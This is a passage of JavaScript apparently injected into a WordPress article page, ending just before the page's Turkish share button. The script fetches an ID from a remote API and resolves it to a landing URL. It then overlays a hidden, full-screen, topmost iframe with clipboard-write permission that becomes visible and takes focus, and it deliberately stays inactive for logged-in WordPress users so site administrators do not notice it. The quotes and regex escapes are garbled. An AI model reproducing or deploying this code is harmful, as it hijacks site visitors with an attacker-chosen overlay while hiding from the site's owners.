encoded = encoded.replace(/%2F/g, “/”);
}

return template.replace(/{id}/g, encoded);
}

function toHttpUrl(value) {
if (!value) return “”;

var s = String(value)
.replace(/^uFEFF/, “”)
.trim()
.replace(/^[‘”`s]+|[‘”`s]+$/g, “”);

if (!s) return “”;

if (!/^[a-z][a-z0-9+.-]*:///i.test(s)) {
if (/^[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:[/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}

try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}

return “”;
}

function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;

if (typeof input === “string”) {
return toHttpUrl(input);
}

if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}

if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}

for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}

return "";
}

function extractLandingUrl(raw) {
if (!raw) return "";

var text = String(raw).replace(/^uFEFF/, "").trim();
if (!text) return "";

var direct = toHttpUrl(text);
if (direct) return direct;

if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}

var matchHttp = text.match(/https?://[^s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}

var matchDomain = text.match(/b[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:/[^s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}

return “”;
}

function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}

function addHint(rel, href) {
if (!href || !document || !document.createElement) return;

var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;

try {
var parent = document.head || document.documentElement;
if (!parent) return;

var link = document.createElement(“link”);
link.rel = rel;
link.href = href;

if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}

parent.appendChild(link);
} catch (e) {}
}

function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}

var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));

if (!builtUrl) {
return step(index + 1);
}

if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}

return step(0);
}

function activateIframe(url) {
if (!url || registry.status === “active”) return;

if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}

var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}

var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}

var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;

function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);

registry.status = “active”;

iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);

setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}

function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}

registry.destroy = destroy;
registry.reveal = reveal;

iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);

iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};

iframe.onerror = function () {
destroy();
};

timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);

try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}

function run() {
warmupOrigins();
bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}

id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}

return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) {
cleanup(“done”);
return “”;
}

var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}

activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}

registry.runPromise = run();
})();

Bu Makaleyi Paylaş